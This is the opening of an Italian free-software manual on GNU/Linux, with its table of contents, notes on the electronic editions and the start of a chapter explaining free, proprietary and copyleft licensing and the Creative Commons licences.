«a2»

libertà da conquistare

Daniele Giacomini ⟨*appunti2 (ad) gmail·com*⟩

2010.10.10

Per tutti i riferimenti dell'opera si veda ⟨*http://informaticalibera.net*⟩; per essere ridiretti automaticamente all'origine della distribuzione in-linea, si può usare l'indirizzo ⟨*http://appunti2.net*⟩. Al momento della pubblicazione di questa edizione, i punti di distribuzione in-linea più importanti, sono presso Internet Archive (⟨*http://www.archive.org/details/AppuntiDiInformaticaLibera*⟩), il GARR (⟨*http://appuntilinux.mirror.garr.it/mirrors/appuntilinux/*⟩) e ILS (⟨*http://appunti.linux.it*⟩). Tuttavia, per motivi tecnici, l'edizione pubblicata in-linea potrebbe non essere completa di tutti i contenuti, oppure potrebbe non essere sempre aggiornata. Pertanto, chi desidera ricevere **gratuitamente** una copia dell'ultima edizione di «a2» in DVD-ROM può scrivere all'autore, specificando l'indirizzo postale a cui va spedito il materiale:

daniele giacomini
via Morganella EST, 21
31050 Ponzano Veneto (TV)
⟨*appunti2 (ad) gmail·com*⟩

Dal momento che il pacchetto dei sorgenti dell'opera è molto grande (SGML, compilabile con Alml), se si desidera ricevere anche questo, è bene specificarlo.

Successivamente all'edizione 2009.11111 dell'opera (21 luglio 2009), inizia un processo di razionalizzazione con l'eliminazione di molti contenuti non più attuali o non più utili. Chi desidera ricevere una copia della versione 2009.11111 o di versioni precedenti, può farne ugualmente richiesta.

Indice generale

Introduzione 10

Volume I Sistemi GNU/Linux: uso e amministrazione generale 13

1 Software e libertà 19

2 Aritmetica elementare 35

3 Introduzione all'uso 59

4 Esercizi pratici 101

5 Trovare le informazioni necessarie 159

6 Installazione e avvio di un sistema GNU/Linux 179

7 Pacchetti di applicazioni per GNU/Linux 223

8 Kernel Linux 291

9 Hardware 351

10 Processi di elaborazione 455

11 Orologio e pianificazione 503

12 Calendario 529

13 Informazioni varie 545

14 Convenzioni nazionali 557

15 Terminali a caratteri 565

16 Utilizzo corretto della tastiera 675

17 Terminali per non vedenti 733

18 Utenti 743

19 Shell Unix 843

20 Script e affini 925

21 Memoria di massa e file system 1015

22 File e directory 1153

23 Cancellazione, recupero e copie di sicurezza 1237

24 Programmi di servizio vari 1267

25 BC: linguaggio aritmetico a precisione arbitraria 1369

26 Ricerca, scansione ed elaborazione di file 1381

27 Perl 1451

28 Introduzione a *roff 1533

29 Formati per la stampa 1567

30 Stampare 1629

31 X 1715

32 Applicazioni comuni per X 1847

33 File multimediali 1891

34 Immagini 1901

35 Audio 1945

36 Video 2047

37 Simulazione e virtualizzazione 2095

Indice analitico del volume 2103

Volume II Sistemi GNU/Linux: comunicazione e sicurezza 2109

38 Nozioni elementari sulle reti 2113

39 Risoluzione dei nomi 2229

40 *Socket* e UCSPI 2273

41 WiFi, IEEE 802.11, ISO/IEC 8802.11 2283

42 Servizi di rete fondamentali 2309

43 Messaggistica istantanea (instant messaging) 2423

44 FTP 2447

45 Posta elettronica 2461

46 HTTP 2543

47 Filtri, proxy e ridirezione del traffico IP 2623

48 Sicurezza e controllo 2695

49 Riservatezza e certificazione delle comunicazioni 2777

Indice analitico del volume 2867

Volume III NLNX 2871

50 Introduzione e sintesi 2875

51 Installazione, avvio, configurazione e modifica 2921

52 Servizi di rete 2967

53 La rete 2981

54 Utenze e controllo 3007

55 Integrazione con MS-Windows 3041

56 Gestione avanzata 3055

Indice analitico del volume 3099
Volume IV Scrittura e pubblicazione 3101
57 Editoria e stile 3105
58 Codifica 3141
59 Controllo dell'ortografia e dello stile 3177
60 PostScript: un linguaggio per la composizione finale 3203
61 TeX 3255
62 LaTeX 3367
63 SGML 3493
64 XML 3565
65 LinuxDoc, DocBook e TEI 3683
66 HTML 3735
67 HTML: lezioni pratiche e verifiche 3863
68 Spartiti musicali 3953
69 Codici a barre 3971
70 Usare i programmi di scrittura visuale 3989
71 Lavagna elettronica 4071
Indice analitico del volume 4087
Volume V Programmazione 4091
Parte i Dall'hardware al C 4095
72 Logica e circuiti logici 4099
73 Algoritmi e notazioni 4113
74 Linguaggio macchina 4165
75 Microprocessori x86-32 4213
76 Compilazione e formato binario eseguibile 4345
77 Introduzione al linguaggio C 4433
78 Gestione dei flussi di file in C 4581
Esempi di programmazione in C 4609
79 Introduzione alle estensioni POSIX 4631
80 Libreria C, con qualche estensione POSIX 4715
81 Libreria POSIX 4859
Tabelle riepilogative della libreria C e POSIX 4885

82 Gettext 4925
Parte ii COBOL 4935
83 Manuale COBOL 4937
84 Programmare in COBOL 5085
Parte iii Basi di dati 5163
85 DBMS e SQL 5165
86 PostgreSQL 5215
87 MySQL 5283
88 SQLite 5303
89 ODBC 5315
90 SQL: lezioni pratiche e verifiche 5323
Parte iv Corso basilare di programmazione 5407
Introduzione 5409
91 Dai sistemi di numerazione all'organizzazione della memoria 5417
92 Nozioni minime sul linguaggio C 5475
93 Puntatori, array e stringhe in C 5539
Indice analitico del volume 5579
Volume VI os16 5587
Parte v Progetto 5591
94 Programmare a 16 bit 5593
95 Studio per un sistema a 16 bit 5631
Parte vi Manuale 5699
96 Avvio del sistema e conclusione 5707
97 Sezione 1: programmi eseguibili o comandi interni di shell 5711
98 Sezione 2: chiamate di sistema 5725
99 Sezione 3: funzioni di libreria 5767
100 Sezione 4: file speciali 5853
101 Sezione 5: formato dei file e convenzioni 5859
102 Sezione 7: varie 5861
103 Sezione 8: comandi per l'amministrazione del sistema 5863
104 Sezione 9: kernel 5867
Parte vii Codice 5971

105 Script e sorgenti del kernel ... 5973
106 Sorgenti della libreria generale ... 6231
107 Sorgenti delle applicazioni ... 6459
Indice analitico del volume ... 6557
Volume VII os32 ... 6563
Parte viii Progetto ... 6567
108 Primi passi verso un sistema per hardware x86-32 ... 6569
109 Studio per un sistema a 32 bit ... 6677
Parte ix Manuale ... 6761
110 Avvio del sistema e conclusione ... 6769
111 Sezione 1: programmi eseguibili o comandi interni di shell ... 6773
112 Sezione 2: chiamate di sistema ... 6791
113 Sezione 3: funzioni di libreria ... 6843
114 Sezione 4: file speciali ... 6931
115 Sezione 5: formato dei file e convenzioni ... 6937
116 Sezione 7: varie ... 6941
117 Sezione 8: comandi per l’amministrazione del sistema ... 6943
118 Sezione 9: kernel ... 6947
Parte x Codice ... 7023
119 Script e sorgenti del kernel ... 7025
120 Sorgenti della libreria generale ... 7451
121 Sorgenti delle applicazioni ... 7835
Appendice: un sistema giocattolo, denominato «05» ... 7959
Indice analitico del volume ... 8077
Volume VIII Didattica in laboratorio ... 8083
Parte xi Foglio elettronico ... 8087
122 Corso elementare sul foglio elettronico ... 8089
Parte xii Applicativo gestionale con il foglio elettronico ... 8293
123 Utilizzo ... 8295
124 Esercitazioni con l’applicativo gestionale ... 8359
Parte xiii Gazie ... 8433
125 Installazione e manutenzione generale ... 8435

126 Manuale sintetico delle funzionalità principali di Gazie 8477
127 Esercitazioni con Gazie 8547
Appendice A UNIX di ricerca 2
Appendice B GNU GENERAL PUBLIC LICENSE 57
Appendice C GNU Free Documentation License 68
Appendice D Creative Commons Legal Code 75
Indice analitico 81

Introduzione

Questa opera si riferisce principalmente al sistema operativo GNU/Linux su una piattaforma hardware x86, secondo le esigenze personali dell'autore. Si osservi che viene usato il termine Unix per indicare genericamente tutti i sistemi operativi che hanno un funzionamento relativamente conforme, come lo sono i sistemi POSIX e i sistemi BSD.

Esiste un'edizione economica, stampata, tratta dall'edizione 2001.01.30 dell'opera, denominata *Appunti di informatica libera economici*, ISBN 88-86422-43-1, pubblicata da Systems Comunicazioni srl ⟨*http://www.systems.it*⟩.

Esiste un'edizione completa, stampata su richiesta da Edizioni Marco Valerio, in volumi rilegati a brossura, disponibile presso ⟨*http://www.marcovalerio.com/libreria/product_info.php?products_id=247">http://www.marcovalerio.com/libreria/product_info.php?products_id=247*⟩.

Successivamente all'edizione di luglio 2009 (2009.11111) inizia un processo di riorganizzazione ed eliminazione di contenuti ritenuti di scarsa utilità o non più adeguati alle esigenze del momento. Tuttavia, rimangono disponibili alcuni lavori documentati originariamente nell'opera: ⟨*extra/htmlcheck/*⟩; ⟨*extra/nanodos/*⟩; ⟨*extra/nanoelks/*⟩; ⟨*extra/nanogrub/*⟩; ⟨*extra/sgmltexi/*⟩. In occasione di questa revisione, il titolo dell'opera cambia in nome della nuova veste di compattezza generale.

Caratteristiche della versione elettronica dell'opera

La versione elettronica dell'opera è composta da moltissimi file, collegati tra loro da riferimenti ipertestuali: in generale si prenda come riferimento iniziale il file ⟨*a2.htm*⟩ per la versione HTML, il file ⟨*a2.pdf*⟩ per quella in PDF ed eventualmente il file ⟨*a2.txt.gz*⟩ per quella puramente testuale.[1] Ma dai file che compongono la versione in HTML del lavoro è possibile raggiungere tutti gli altri formati, seguendo i riferimenti che si trovano all'inizio e alla fine delle pagine HTML stesse.

I formati PDF disponibili comprendono una versione complessiva dell'opera (⟨*a2.pdf*⟩) e tante riduzioni che riguardano solo un volume, o una parte, o un capitolo. I file PDF che si possono scegliere possono essere più adatti alla consultazione elettronica oppure possono essere preferibili per la stampa (in tal caso sono privi di riferimenti ipertestuali ad allegati o a oggetti multimediali). Pertanto, questi file vanno scelti opportunamente per lo scopo che ci si prefigge. Tuttavia, se si vogliono usare i file PDF ipertestuali per raggiungere gli allegati o i filmati attraverso i riferimenti presenti, è necessario che le posizioni relative di questi siano preservate, altrimenti i collegamenti diventano privi di effetto: in pratica occorre utilizzare i file PDF ipertestuali assieme a tutti gli altri, come si deve già fare per la versione in HTML.

I riferimenti ipertestuali contenuti nei file PDF predisposti in questo modo, sono di tipo «relativo». Per esempio, se il file '`xxx.pdf`' contiene un riferimento a '`yyy.ogv`', nel riferimento non viene indicato altro, perché il programma usato per la consultazione deve determinare il percorso o l'URI effettivo in base al contesto. Tuttavia, sono pochi i programmi di consultazione dei file PDF in grado di seguire tali collegamenti. Ammesso di poter disporre di una copia locale di tutto ciò che compone complessivamente la distribuzione elettronica dell'opera, il programma Okular si è dimostrato il più adatto per una consultazione corretta di questi file.

La maggior parte dei file PDF ha la caratteristica di avere nomi molto lunghi, riproducenti il titolo della porzione dell'opera a cui si riferiscono. Quando l'opera viene distribuita su disco ottico, questo risulta perfettamente leggibile nei sistemi che interpretano correttamente le estensioni Unix (come i sistemi GNU/Linux), mentre in un sistema MS-Windows molti file potrebbero risultare inaccessibili, benché presenti effettivamente nel disco. Tuttavia, anche nelle condizioni più difficili, la versione HTML e il file PDF complessivo (⟨*a2.pdf*⟩) sono sempre consultabili perché utilizzano nomi compatibili con i file system più vecchi.

Figura i1.1. Menù per la navigazione delle pagine HTML dell'opera.

va all'inizio del volume
va all'inizio della parte

successivo | precedente | inizio | fine | indice generale | aiuto | indice analitico | volume | parte | TXT | HTML | PDF | pdf | P1 | P2 | P3 | P4 | aggiornamenti

va alla pagina successiva
va alla pagina precedente
va alla pagina iniziale
va alla pagina finale
va all'indice generale
va alla guida dell'edizione elettronica
va all'indice analitico finale
raggiunge il file a2.txt.gz contenente l'opera in formato testuale puro
collegamento alternativo alla pagina corrente, ma con un nome più lungo
raggiunte il file a2.pdf contenente l'opera in formato PDF, ipertestuale
raggiunge il file PDF ipertestuale della sezione a cui corrisponde la pagina visualizzata
raggiunge i file PDF adatti alla stampa: P1 è in formato normale (A4 vert.); P2 è ridotto alla metà (A4 orizz.); P4 è ridotto a un quarto (A4 vert.); P3 è come P4, ma espanso su un formato A3.
va all'indirizzo http://appunti2.net/... dove potrebbe esserci una versione aggiornata della pagina che si sta visualizzando
richiede la verifica formale del codice HTML e CSS della pagina presso il W3C

√ HTML | √ CSS

Figura i1.2. Menù per la navigazione dei file PDF ipertestuali dell'opera.

raggiunge il file a2.txt.gz contenente l'opera in formato testuale puro
raggiunge il file HTML corrispondente a quanto visualizzato
raggiunte il file a2.pdf contenente l'opera in formato PDF, ipertestuale
raggiunge il file PDF ipertestuale, contenente solo il capitolo
raggiunge i file PDF adatti alla stampa: P1 è in formato normale; P2 è ridotto alla metà; P4 è ridotto a un quarto; P3 è come P4, ma espanso su un foglio A3
va all'inizio della sezione 11.1
va all'inizio del capitolo 11
va al livello precedente: in questo caso può essere l'inizio della parte o del volume o dell'opera

TXT
HTM
PDF
pdf
P1
P2
P3
P4

Capitolo 11

Titolo del capitolo

testo testo testo testo testo testo testo testo testo testo testo testo testo testo
...

11.1 Titolo della sezione

testo testo testo testo testo testo testo testo testo testo testo testo testo testo
...

11.1.1 Titolo della sottosezione

testo testo testo testo testo testo testo testo testo testo testo testo testo testo

Figura i1.3. Formati di impaginazione dei file PDF per la stampa.

[1] Il file ⟨*a2.txt.gz*⟩ è compresso con GZIP e va espanso per poterlo consultare.

«a2» 2010.10.10

Volume I

Sistemi GNU/Linux: uso e amministrazione generale

```
This is terminal tty1
GNU/Linux login:   tizio
Password:  _
```

ISBN 978-88-905012-0-3

Via Morganella Est, 21 -- I-31050 Ponzano Veneto (TV) -- ⟨*appunti2 (ad) gmail·com* ⟩

L'opera, nei file sorgenti e nella composizione finale, include degli esempi in forma di sequenze animate, contenenti eventualmente anche delle spiegazioni vocali. Si tratta di video brevi e di qualità molto bassa. Tuttavia, a seconda di come viene diffusa o fruita l'opera, può darsi che sia necessario assolvere a degli obblighi di legge.

Il numero ISBN 978-88-905012-0-3 si riferisce all'opera originale in formato elettronico, pubblicata a titolo gratuito.

Per tutti i riferimenti dell'opera si veda ⟨*http://informaticalibera.net*⟩; per essere ridiretti automaticamente all'origine della distribuzione in-linea, si può usare l'indirizzo ⟨*http://appunti2.net*⟩. Al momento della pubblicazione di questa edizione, i punti di distribuzione in-linea più importanti, sono presso Internet Archive (⟨*http://www.archive.org/details/AppuntiDiInformaticaLibera*⟩), il GARR (⟨*http://appuntilinux.mirror.garr.it/mirrors/appuntilinux/*⟩) e ILS (⟨*http://appunti.linux.it*⟩). Tuttavia, per motivi tecnici, l'edizione pubblicata in-linea potrebbe non essere completa di tutti i contenuti, oppure potrebbe non essere sempre aggiornata. Pertanto, chi desidera ricevere **gratuitamente** una copia dell'ultima edizione di «a2» in DVD-ROM può scrivere all'autore, specificando l'indirizzo postale a cui va spedito il materiale:

daniele giacomini
via Morganella EST, 21
31050 Ponzano Veneto (TV)
⟨*appunti2 (ad) gmail·com*⟩

Dal momento che il pacchetto dei sorgenti dell'opera è molto grande (SGML, compilabile con Alml), se si desidera ricevere anche questo, è bene specificarlo.

Successivamente all'edizione 2009.11111 dell'opera (21 luglio 2009), inizia un processo di razionalizzazione con l'eliminazione di molti contenuti non più attuali o non più utili. Chi desidera ricevere una copia della versione 2009.11111 o di versioni precedenti, può farne ugualmente richiesta.

1 Software e libertà 19
2 Aritmetica elementare 35
3 Introduzione all'uso 59
4 Esercizi pratici 101
5 Trovare le informazioni necessarie 159
6 Installazione e avvio di un sistema GNU/Linux 179
7 Pacchetti di applicazioni per GNU/Linux 223
8 Kernel Linux 291
9 Hardware 351
10 Processi di elaborazione 455
11 Orologio e pianificazione 503
12 Calendario 529
13 Informazioni varie 545
14 Convenzioni nazionali 557
15 Terminali a caratteri 565
16 Utilizzo corretto della tastiera 675
17 Terminali per non vedenti 733
18 Utenti 743
19 Shell Unix 843
20 Script e affini 925
21 Memoria di massa e file system 1015
22 File e directory 1153
23 Cancellazione, recupero e copie di sicurezza 1237
24 Programmi di servizio vari 1267
25 BC: linguaggio aritmetico a precisione arbitraria 1369
26 Ricerca, scansione ed elaborazione di file 1381
27 Perl 1451
28 Introduzione a *roff 1533
29 Formati per la stampa 1567
30 Stampare 1629
31 X 1715
32 Applicazioni comuni per X 1847

Capitolo 1

Software e libertà

1.1 Software libero 20

1.2 Software non libero 22

1.3 Software commerciale 22

1.4 Annotazioni su alcune licenze tradizionali 22

1.5 Dal software all'arte in generale: Creative Commons 24

1.6 Percorso storico 27

1.6.1 BSD 28
1.6.2 GNU 29
1.6.3 Minix 29
1.6.4 Linux 29
1.6.5 Internet Archive 30
1.6.6 Open Source 30
1.6.7 Creative Commons 30
1.6.8 Open Invention Network 30
1.6.9 Standard Unix 31

1.7 Un Richard Stallman «virtuale» 31

1.8 Riferimenti 32

Il software è un codice che è trattato dalle leggi sul diritto di autore, in maniera simile a quanto avviene per le opere letterarie. Tradizionalmente, il contratto che regola l'uso del software è la ***licenza*** ed è sempre importante conoscere i termini di questo accordo per il software con cui si intende avere a che fare.

La legge sul diritto di autore stabilisce già quali sono i diritti di chi produce l'opera e di chi la utilizza, ma nell'ambito del software si è introdotto nella pratica un contratto che non viene firmato (la licenza), il cui scopo è spesso quello di limitare ulteriormente i diritti di chi ne fruisce.

Il software ha un proprietario (salvo il caso del software di dominio pubblico che viene descritto in seguito) che è tale in quanto «detiene i diritti di autore». Questo proprietario può essere l'autore originale, oppure un altro detentore che ne ha acquisito i diritti in base a un contratto. Il detentore dei diritti di autore è colui che possiede il ***copyright***.

L'utilizzo del software può essere concesso gratuitamente o a pagamento, per le operazioni stabilite nel contratto di licenza, o in sua mancanza per quanto stabilito dalla legge. Il pagamento per l'«acquisto» di software, non si riferisce all'acquisizione dei diritti di autore, ma solo delle facoltà stabilite dalla legge, ovvero da quanto indicato nella licenza.

La natura del software è tale per cui questo è composto da due parti fondamentali: il codice sorgente e il codice eseguibile. Il primo è intelligibile (comprensibile), il secondo è adatto

all'esecuzione e non è intelligibile. Dal momento che per funzionare è sufficiente il codice eseguibile, le leggi dei vari paesi che tutelano il diritto di autore per il software tendono a consentire la distribuzione del solo codice eseguibile, lasciando che chi detiene i diritti di autore possa mantenere nascosto il codice sorgente. Inoltre, le leggi di questi paesi tendono a considerare illecita la ***decompilazione***, ovvero lo studio del codice eseguibile volto a scoprirne il funzionamento.

Figura 1.1. Compilazione.

file sorgente

```
#Include <stdio.h>
int main ()
{
   printf ("Ciao mondo!\n");
}
```

compilazione

file eseguibile

```
.ELF..........x...4...(...4..4.à
......ò...ò...ò......................
0.......@....@....[...è...........
....Ciao mondo!
```

In molti paesi esiste anche la possibilità di brevettare algoritmi e altri concetti riconducibili al software. Il brevetto impedisce così l'uso dell'algoritmo o dell'idea registrata, se non dopo un'autorizzazione esplicita da parte del detentore di questo tipo di diritto.

Figura 1.2. Schema della classificazione del software; disegno di Chao-Kuei, ottenuto dal sito di FSF.

Free Software
Public domain
XFree86 Style
Copylefted
GPL'ed
Open Source
Proprietary
Closed
Shareware
Free Download

1.1 Software libero

Il ***software libero*** è software che fornisce il permesso per chiunque di utilizzarlo, copiarlo e distribuirlo, in forma originale, o anche dopo averlo modificato, sia gratuitamente, sia a pagamento. Il software libero può essere tale solo se viene messo a disposizione assieme al codice sorgente, per cui, a questo proposito, qualcuno ha detto: «se non è sorgente, non è software» (*if it's not source, it's not software*).

È importante sottolineare che la «libertà» del software libero non sta tanto nel prezzo, che eventualmente può anche essere richiesto per il servizio di chi ne distribuisce le copie, ma nella possibilità di usarlo senza vincoli, di copiarlo come e quanto si vuole, di poterne distribuire le copie, di poterlo modificare e di poterne distribuire anche le copie modificate.

In alcuni ambienti si preferisce utilizzare la definizione «Open Source» per fare riferimento al software libero nei termini che sono stati descritti, per evitare ambiguità nella lingua inglese. Sotto questo aspetto, nella lingua italiana, come in molte altre lingue, è più appropriato l'uso della definizione «software libero».

Si distinguono quattro punti fondamentali, necessari perché il software possa essere considerato «libero»:

Livello	Descrizione
libertà 0	la libertà di eseguire il programma per qualunque scopo;
libertà 1	la libertà di studiare come funziona il programma e di adattarlo alle proprie esigenze (in tal caso, deve essere disponibile il sorgente);
libertà 2	la libertà di ridistribuire copie del programma;
libertà 3	la libertà di migliorare il programma e di distribuire tali miglioramenti (anche per questo è necessario disporre dei sorgenti).

Il software che non può essere commercializzato, pur soddisfacendo i punti elencati qui, viene considerato «software semi-libero», come viene chiarito in seguito.

Vale la pena di elencare alcune definizioni riferite al software libero.

- **software di dominio pubblico**

  Il software di dominio pubblico è software senza copyright. Di per sé, questo tipo di software è libero, solo che, mancando chi può difenderlo, qualcuno può riuscire ad accamparvi dei diritti; pertanto, alcune copie, o varianti di questo software possono non essere più libere.

- **software protetto da copyleft**

  La parola ***copyleft*** («permesso d'autore»), a cui a volte si associa il simbolo 🄯, è un'invenzione e vuole rappresentare il copyright di chi, mentre difende il proprio diritto di autore, vuole difendere la libertà della sua opera, imponendo che questa e le sue derivazioni restino libere. In pratica, una licenza appartenente alla categoria «copyleft» impedisce che chi ridistribuisce il software (originale o modificato che sia) possa aggiungere delle restrizioni ulteriori. Il classico esempio di licenza di questo tipo è la licenza pubblica GNU-GPL (appendice B).

- **software libero non protetto da copyleft**

  Il software libero non è necessariamente di tipo copyleft e ciò accade quando la licenza non vieta espressamente l'aggiunta di restrizioni da parte di chi lo ridistribuisce. Quando si utilizza software di questo tipo, non è possibile generalizzare: occorre accertarsi dei termini del contratto che riguarda la copia particolare della quale si è venuti in possesso.

- **software GPL**

La licenza GNU-GPL è l'esempio più importante di licenza che protegge il software libero con il copyleft. Quando si parla di «software GPL» si intende fare riferimento a software protetto con la licenza pubblica GNU-GPL.

1.2 Software non libero

Il software non è libero tutte le volte che non sono soddisfatti tutti i requisiti necessari per poterlo essere. È bene ricordare che il prezzo non è un fattore che limita la libertà, mentre altri dettagli sono più importanti. Anche in questo caso, vale la pena di elencare alcune definizioni che in generale riguardano software non libero.

- **software semi-libero**

  Il software semi-libero è software che permette agli individui di usarlo, copiarlo, modificarlo e distribuirlo, anche modificato, per qualunque scopo, escluso quello di trarne profitto. In altri termini, si potrebbe dire che si tratta di software libero a cui è stata aggiunta la limitazione per la quale questo non può essere usato e distribuito per trarne profitto. Questo dettaglio è molto importante e non va trascurato.

- **software proprietario**

  Il ***software proprietario*** è quel software che non è né libero, né semi-libero. Di solito, per «avere a che fare» con questo software è necessario ottenere un permesso speciale, che spesso si limita a concedere l'uso su un elaboratore, o su un gruppo ben determinato.

- **software freeware**

  Il termine ***freeware*** non è abbinato a una definizione precisa, ma viene inteso generalmente come software proprietario gratuito, del quale non viene reso pubblico il codice sorgente, che può essere usato e copiato senza poterlo modificare. In questo senso, il prefisso «free» serve solo a evidenziare la gratuità della cosa, ma non la libertà che invece richiede altri requisiti.

- **software shareware**

  Con il termine ***shareware*** si fa riferimento a software proprietario che può essere ridistribuito, ma per il quale viene richiesto espressamente il pagamento dopo un periodo di prova.

1.3 Software commerciale

In base alle classificazioni viste in questo capitolo, il ***software commerciale*** è tale solo in quanto viene venduto per profitto. Lo sviluppo e la diffusione del software libero dipendono anche dalla possibilità di venderne delle copie, originali o modificate, per trarne profitto. Pertanto, il software che pur offrendo le quattro libertà fondamentali, non consente la commercializzazione per trarne profitto, non viene considerato «libero» in modo completo. In questo senso, è importante evitare di confondere il software proprietario con il software commerciale, perché non sono la stessa cosa.

Si osservi che può esistere anche del software non-libero, che non è nemmeno commerciale.

1.4 Annotazioni su alcune licenze tradizionali

Il documento *Various licenses and comments about them* raggiungibile all'indirizzo ⟨*http://www.gnu.org/philosophy/license-list.html*⟩, elenca dettagliatamente le caratteristiche di un numero molto elevato di licenze. Nella tabella successiva appaiono delle annotazioni in riferimento ad alcune licenze che non sono nate dalla Free Software Foundation.

Tabella 1.4. Schema riassuntivo minimo per il confronto tra alcune licenze importanti, secondo le informazioni pubblicate da Free Software Foundation nel documento *Various Licenses and Comments about Them* raggiungibile all'indirizzo ⟨*http://www.gnu.org/philosophy/license-list.html*⟩.

Denominazione	Sigla	Software libero entro i termini minimi di tale definizione	Copyleft	Compatibile con GNU-GPL	Compatibile con software non libero	Annotazioni
GNU General Public License	GPL	Sì	Sì	Sì	No	Il testo di questa licenza appare nell'appendice B.
GNU Lesser General Public License	LGPL	Sì	Sì	Sì	Sì	
X11 o MIT	X11	Sì	No	Sì	Sì	
UCB BSD		Sì	No	No	Sì	La licenza BSD originale fa esplicito riferimento all'università di Berkeley, con espresso divieto di utilizzarne il nome per scopi pubblicitari. Anche se ciò non crea alcun problema alla fruizione del software, non è conveniente utilizzare questa licenza, a meno di avere un motivo valido in tal senso. A ogni modo, tale particolarità non la rende una licenza adatta a situazioni generali e crea problemi di compatibilità con la licenza GNU-GPL (⟨*http://www.gnu.org/licenses/gpl-faq.html*⟩).
UCB BSD revised		Sì	No	Sì	Sì	Si tratta della licenza UCB BSD senza la clausola che crea problemi di compatibilità con la licenza GNU-GPL.

Denominazione	Sigla	Software libero entro i termini minimi di tale definizione	Copyleft	Compatibile con GNU-GPL	Compatibile con software non libero	Annotazioni
BSD non Berkeley		Sì	No	Sì	Sì	Esiste troppa confusione attorno alla sigla BSD, con la quale vengono definite diverse licenze più o meno simili a quella di Berkeley.
Artistic License	Artistic					La licenza Artistic originale è, per convinzione diffusa, una licenza formulata male, troppo vaga e per questo inadatta a garantire la libertà del software. Sotto questo aspetto, si tratta di una licenza che non rientra nell'ambito del software libero. Per porre rimedio alle carenze della licenza Artistic, ne esiste una versione revisionata, definibile come Clarified Artistic License.
Clarified Artistic License		Sì	No			

1.5 Dal software all'arte in generale: Creative Commons

I concetti di «libertà» derivanti dal mondo del software, si trasferiscono anche ad altre forme di arte sottoposta al diritto di autore, soprattutto quando queste forme di arte si esprimono in forma elettronica. Tuttavia, il software si trova in un contesto particolare rispetto altre forme di espressione artistica, sia perché è previsto in molti paesi il segreto industriale e il brevetto, sia perché il software può sopravvivere all'evoluzione tecnologica solo se è possibile aggiornarlo nel tempo. Pertanto, la difesa del software libero è più impegnativa rispetto al mantenimento della libera disponibilità di altre forme di espressione artistica.

Benché la questione sia controversa, è evidente che espressioni artistiche come un romanzo, un disegno, una canzone, possono considerarsi «libere» anche se non viene concessa la modifica e in certi casi anche se non viene messo a disposizione ciò che rappresenta il «sorgente» elettronico di tali lavori. Tanto per fare un esempio, la realizzazione di un libro «libero» secondo le quattro libertà del software, non consentirebbe di inserire delle citazioni, perché, secondo le convenzioni comuni, non sarebbero poi modificabili; inoltre, un libro che non disponga di un sorgente, potrebbe essere ricopiato, anche se con un certo dispendio di risorse.

Esistono diversi tentativi di risolvere il problema, compatibilmente con il concetto di copyleft, soprattutto per quello che riguarda la produzione di documenti; inoltre c'è anche chi, pregevolmente, tenta di trovare una formula che possa andare bene per ogni tipo di espressione artistica,

come nel caso della licenza *Licence Art Libre* (ovvero *Free Art License* e tante altre traduzioni) ⟨*http://artlibre.org* ⟩.

Creative Commons (⟨*http://creativecommons.org* ⟩) cerca di trasferire alcuni principi del software libero a opere artistiche di tipo differente, attraverso la redazione di un insieme di licenze con un diverso grado di «libertà», ovvero di restrizioni legali. Per facilitare la scelta e la comprensione delle diverse licenze proposte, Creative Commons utilizza un sistema iconografico. Questo aspetto diventa molto importante, dal momento che lo scopo dell'organizzazione è quello di favorire la diffusione consapevole di opere di ogni tipo attraverso la rete, dove spesso si presta più attenzione alle immagini, rispetto al testo scritto.

Tabella 1.5. Obblighi o facoltà principali espressi in forma iconografica.

Simbolo	Sigla	Significato
	attribution	Gli autori originari devono essere riconosciuti.
	non-commercial	Il lavoro non può essere sfruttato commercialmente.
	no derivatives works	Il lavoro deve rimanere intatto.
	share alike	La licenza deve rimanere la stessa (questa condizione ha significato solo per un lavoro che può essere modificato).
src	*source*	Il sorgente deve essere preservato.

È importante osservare che, dal punto di vista della filosofia delle libertà del software, non tutte le licenze elaborate da Creative Commons sono «libere». Evidentemente, ciò che non può essere modificato non può essere «libero»; inoltre, ciò che non può essere commercializzato, non può esserlo completamente. Tuttavia, in considerazione del fatto che le esigenze che si sentono nel campo del software non sono le stesse di ogni altro tipo di espressione artistica, la presenza di combinazioni «non libere» tra le licenze di Creative Commons, non sminuisce l'importanza del lavoro di tale organizzazione.

Mentre l'approvazione di OSI (*Open Source initiative* ⟨*http://opensource.org* ⟩) dà la garanzia di avere a che fare con del software libero, quando si fa riferimento a una licenza approvata da Creative Commons, senza specificarne gli attributi, si sa solo che **dovrebbe** trattarsi di un'opera ridistribuibile e gratuita almeno per l'uso personale, non commerciale.

Nelle licenze Creative Commons si fa riferimento a un concetto, definito come *share alike*, con il quale si richiede che l'opera modificata mantenga la stessa licenza di quella originale. Si può osservare che il simbolo usato da Creative Commons per rappresentare questo vincolo è molto simile a quello usato nel software libero per esprimere il copyleft: . Tuttavia va osservato che il copyleft è un sottoinsieme di quanto intende il concetto di *share alike*.

Tabella 1.6. Licenze definite da Creative Commons.

Definizione	Iconografia	Descrizione
attribution		Si richiede soltanto che gli autori originari siano riconosciuti.
attribution, no derivatives work		Si richiede che gli autori originari siano riconosciuti e che il lavoro rimanga intatto.
attribution, non-commercial, no derivatives work		Si richiede che gli autori originari siano riconosciuti, che il lavoro non venga sfruttato commercialmente e che rimanga intatto.
attribution, non-commercial		Si richiede che gli autori originari siano riconosciuti e che il lavoro non venga sfruttato commercialmente.
attribution, non-commercial, share alike		Si richiede che gli autori originari siano riconosciuti, che il lavoro non venga sfruttato commercialmente e che la licenza rimanga la stessa.
attribution, share alike		Si richiede che gli autori originari siano riconosciuti e che la licenza rimanga la stessa.

Molti siti che consentono la pubblicazione di opere artistiche accettano esclusivamente un insieme di licenze approvate da Creative Commons, pertanto è bene sapere risalire alle licenze di proprio interesse attraverso la catalogazione e il riferimento di Creative Commons. Nelle tabelle successive si vedono le licenze principali di Creative Commons e il riferimento alla dichiarazione di dominio pubblico, assieme alle due licenze più importanti di Free Software Foundation.

Tabella 1.7. Licenze definite attraverso un URI, secondo Creative Commons.

Definizione	URI
attribution	⟨*http://creativecommons.org/licenses/by/3.0/*⟩
attribution, no derivatives work	⟨*http://creativecommons.org/licenses/by-nd/3.0/*⟩
attribution, non-commercial, no derivatives work	⟨*http://creativecommons.org/licenses/by-nc-nd/3.0/*⟩
attribution, non-commercial	⟨*http://creativecommons.org/licenses/by-nc/3.0/*⟩
attribution, non-commercial, share alike	⟨*http://creativecommons.org/licenses/by-nc-sa/3.0/*⟩
attribution, share alike	⟨*http://creativecommons.org/licenses/by-sa/3.0/*⟩

